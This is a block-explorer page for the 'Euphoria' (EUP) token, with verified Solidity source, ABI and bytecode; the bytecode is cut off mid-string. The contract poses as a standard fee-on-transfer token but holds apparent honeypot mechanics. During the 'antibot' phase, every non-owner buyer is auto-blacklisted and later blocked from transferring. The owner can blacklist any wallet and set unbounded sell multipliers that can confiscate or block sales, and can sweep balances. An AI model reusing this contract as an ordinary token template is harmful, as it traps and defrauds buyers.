ETH Price: $3,413.53 (-0.71%)
Gas: 5 Gwei

Token

Euphoria (EUP)
 

Overview

Max Total Supply

1,000,000,000,000,000 EUP

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
329,314,386,357.0776 EUP

Value
$0.00
0xe90654c658a5aa2901c26a7a17ca8847bbe825d6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EUPHORIA

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-05
*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.12;


interface IERC20 {
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract EUPHORIA is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Euphoria";
    string public constant symbol = "EUP";
    uint8 public constant decimals = 4;
    uint256 public constant totalSupply = 1 * 10**15 * 10**decimals;

    uint256 public _maxTxAmount = totalSupply / 100;
    uint256 public _maxWalletToken = totalSupply / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 public constant allFee = 10;
    uint256 public constant totalFee = 10;
    uint256 public constant feeDenominator = 100;

    uint256 buyMultiplier = 100;
    uint256 sellMultiplier = 100;
    uint256 transferMultiplier = 100;

    address public allFeeReceiver;

    bool public antibot = true;
    mapping (address => uint) public firstbuy;
    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = totalSupply / 200;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        allFeeReceiver = 0x2B6c231Ca1859fCefa7817EBd7B5EF19626FAeB9;

        isFeeExempt[msg.sender] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!isOwner(sender) && !isOwner(recipient) &&  antibot){
            if(sender == pair){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }

            if(firstbuy[sender] > 0){
                require( firstbuy[sender] > (block.number - 20), "Bought before contract was launched");
            }
        }
        
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");    
        }

        if (!isOwner(sender) && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");

        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) internal {
        if(_status && _adr == address(this)){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function tradingOpen() external onlyOwner {
        antibot = false;
        sellMultiplier = 100;
    }


    function swapBack() internal swapping {
        uint256 amountToSwap = swapThreshold;
        bool success;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        //payable(allFeeReceiver).transfer(amountETH);
        (success,) = address(allFeeReceiver).call{value: amountETH}("");
    }


    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply.sub(balanceOf[DEAD]).sub(balanceOf[ZERO]);
    }

	function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 5,"Cannot set max wallet less than 0.5%");
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 5,"Cannot set max transaction less than 0.5%");
        _maxTxAmount = (totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

	function setFeeReceivers(address _feeReceiver) external onlyOwner {
        allFeeReceiver = _feeReceiver;
    }

	function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
		uint256 amountToClear = amountPercentage * address(this).balance / 100;
		payable(msg.sender).transfer(amountToClear);
	}

	function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
		if(tokens == 0){
			tokens = IERC20(tokenAddress).balanceOf(address(this));
		}
		return IERC20(tokenAddress).transfer(msg.sender, tokens);
	}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antibot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"firstbuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_feeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260646004600a620000169190620009dd565b66038d7ea4c680006200002a919062000a2e565b62000036919062000abe565b60015560646004600a6200004b9190620009dd565b66038d7ea4c680006200005f919062000a2e565b6200006b919062000abe565b600255606460085560646009556064600a556001600b60146101000a81548160ff0219169083151502179055506001600d60006101000a81548160ff0219169083151502179055506001601060146101000a81548160ff02191690831515021790555060c86004600a620000e09190620009dd565b66038d7ea4c68000620000f4919062000a2e565b62000100919062000abe565b6011553480156200011057600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c919062000b60565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000303919062000b60565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396608051306040518363ffffffff1660e01b81526004016200034192919062000ba3565b6020604051808303816000875af115801562000361573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000387919062000b60565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550732b6c231ca1859fcefa7817ebd7b5ef19626faeb9600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004600a6200075b9190620009dd565b66038d7ea4c680006200076f919062000a2e565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600a620008129190620009dd565b66038d7ea4c6800062000826919062000a2e565b60405162000835919062000be1565b60405180910390a362000bfe565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008d157808604811115620008a957620008a862000843565b5b6001851615620008b95780820291505b8081029050620008c98562000872565b945062000889565b94509492505050565b600082620008ec5760019050620009bf565b81620008fc5760009050620009bf565b8160018114620009155760028114620009205762000956565b6001915050620009bf565b60ff84111562000935576200093462000843565b5b8360020a9150848211156200094f576200094e62000843565b5b50620009bf565b5060208310610133831016604e8410600b8410161715620009905782820a9050838111156200098a576200098962000843565b5b620009bf565b6200099f84848460016200087f565b92509050818404811115620009b957620009b862000843565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009ea82620009c6565b9150620009f783620009d0565b925062000a267fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008da565b905092915050565b600062000a3b82620009c6565b915062000a4883620009c6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a845762000a8362000843565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000acb82620009c6565b915062000ad883620009c6565b92508262000aeb5762000aea62000a8f565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b288262000afb565b9050919050565b62000b3a8162000b1b565b811462000b4657600080fd5b50565b60008151905062000b5a8162000b2f565b92915050565b60006020828403121562000b795762000b7862000af6565b5b600062000b898482850162000b49565b91505092915050565b62000b9d8162000b1b565b82525050565b600060408201905062000bba600083018562000b92565b62000bc9602083018462000b92565b9392505050565b62000bdb81620009c6565b82525050565b600060208201905062000bf8600083018462000bd0565b92915050565b60805161385f62000c1a6000396000612335015261385f6000f3fe60806040526004361061021e5760003560e01c80636d02cc02116101235780638e2eee84116100ab578063dd62ed3e1161006f578063dd62ed3e146107fa578063e01bb68814610837578063f887ea4014610860578063fe575a871461088b578063ffb54a99146108c857610225565b80638e2eee841461071557806395d89b411461073e578063a8aa1b3114610769578063a9059cbb14610794578063bd9ab537146107d157610225565b806377b54bad116100f257806377b54bad1461062c57806378109e54146106695780637d1db4a514610694578063893d20e8146106bf578063896648c1146106ea57610225565b80636d02cc02146105705780636ddd1713146105ad57806370a08231146105d8578063715018a61461061557610225565b806323b872dd116101a6578063313ce56711610175578063313ce56714610489578063379f7207146104b45780633d9433e8146104df578063571ac8b01461050a5780636ce46bc31461054757610225565b806323b872dd146103b95780632b112e49146103f65780632f54bf6e14610421578063305c4c801461045e57610225565b8063095ea7b3116101ed578063095ea7b3146102d2578063180b0d7e1461030f57806318160ddd1461033a5780631da1db5e146103655780631df4ccfc1461038e57610225565b8063034fc0b71461022a5780630445b6671461025357806306fdde031461027e57806309302dc6146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b50610251600480360381019061024c91906128f7565b6108df565b005b34801561025f57600080fd5b50610268610944565b604051610275919061293d565b60405180910390f35b34801561028a57600080fd5b5061029361094a565b6040516102a091906129f1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190612a3f565b610983565b005b3480156102de57600080fd5b506102f960048036038101906102f49190612aca565b610a50565b6040516103069190612b19565b60405180910390f35b34801561031b57600080fd5b50610324610b42565b604051610331919061293d565b60405180910390f35b34801561034657600080fd5b5061034f610b47565b60405161035c919061293d565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612a3f565b610b6a565b005b34801561039a57600080fd5b506103a3610c19565b6040516103b0919061293d565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190612b34565b610c1e565b6040516103ed9190612b19565b60405180910390f35b34801561040257600080fd5b5061040b610e1e565b604051610418919061293d565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190612b87565b610ee9565b6040516104559190612b19565b60405180910390f35b34801561046a57600080fd5b50610473610f42565b6040516104809190612b19565b60405180910390f35b34801561049557600080fd5b5061049e610f55565b6040516104ab9190612bd0565b60405180910390f35b3480156104c057600080fd5b506104c9610f5a565b6040516104d6919061293d565b60405180910390f35b3480156104eb57600080fd5b506104f4610f5f565b6040516105019190612bfa565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c9190612b87565b610f85565b60405161053e9190612b19565b60405180910390f35b34801561055357600080fd5b5061056e60048036038101906105699190612c15565b610fb8565b005b34801561057c57600080fd5b5061059760048036038101906105929190612b87565b61101a565b6040516105a4919061293d565b60405180910390f35b3480156105b957600080fd5b506105c2611032565b6040516105cf9190612b19565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612b87565b611045565b60405161060c919061293d565b60405180910390f35b34801561062157600080fd5b5061062a61105d565b005b34801561063857600080fd5b50610653600480360381019061064e9190612aca565b611120565b6040516106609190612b19565b60405180910390f35b34801561067557600080fd5b5061067e611276565b60405161068b919061293d565b60405180910390f35b3480156106a057600080fd5b506106a961127c565b6040516106b6919061293d565b60405180910390f35b3480156106cb57600080fd5b506106d4611282565b6040516106e19190612bfa565b60405180910390f35b3480156106f657600080fd5b506106ff6112ab565b60405161070c9190612b19565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612ccd565b6112be565b005b34801561074a57600080fd5b5061075361135c565b60405161076091906129f1565b60405180910390f35b34801561077557600080fd5b5061077e611395565b60405161078b9190612bfa565b60405180910390f35b3480156107a057600080fd5b506107bb60048036038101906107b69190612aca565b6113bb565b6040516107c89190612b19565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f39190612a3f565b6113d0565b005b34801561080657600080fd5b50610821600480360381019061081c9190612d2d565b61149d565b60405161082e919061293d565b60405180910390f35b34801561084357600080fd5b5061085e60048036038101906108599190612b87565b611524565b005b34801561086c57600080fd5b506108756115b0565b6040516108829190612dcc565b60405180910390f35b34801561089757600080fd5b506108b260048036038101906108ad9190612b87565b6115d6565b6040516108bf9190612b19565b60405180910390f35b3480156108d457600080fd5b506108dd6115f6565b005b6108e833610ee9565b610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90612e33565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b60115481565b6040518060400160405280600881526020017f457570686f72696100000000000000000000000000000000000000000000000081525081565b61098c33610ee9565b6109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c290612e33565b60405180910390fd5b6005811015610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612ec5565b60405180910390fd5b6103e8816004600a610a219190613047565b66038d7ea4c68000610a339190613092565b610a3d9190613092565b610a47919061311b565b60028190555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b30919061293d565b60405180910390a36001905092915050565b606481565b6004600a610b559190613047565b66038d7ea4c68000610b679190613092565b81565b610b7333610ee9565b610bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba990612e33565b60405180910390fd5b600060644783610bc29190613092565b610bcc919061311b565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c14573d6000803e3d6000fd5b505050565b600a81565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e0a57610d89826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e158484846116c7565b90509392505050565b6000610ee4600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed66003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600a610eb69190613047565b66038d7ea4c68000610ec89190613092565b611ee190919063ffffffff16565b611ee190919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600b60149054906101000a900460ff1681565b600481565b600a81565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fb1827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610a50565b9050919050565b610fc133610ee9565b611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff790612e33565b60405180910390fd5b816009819055508260088190555080600a81905550505050565b600c6020528060005260406000206000915090505481565b601060149054906101000a900460ff1681565b60036020528060005260406000206000915090505481565b61106633610ee9565b6110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612e33565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4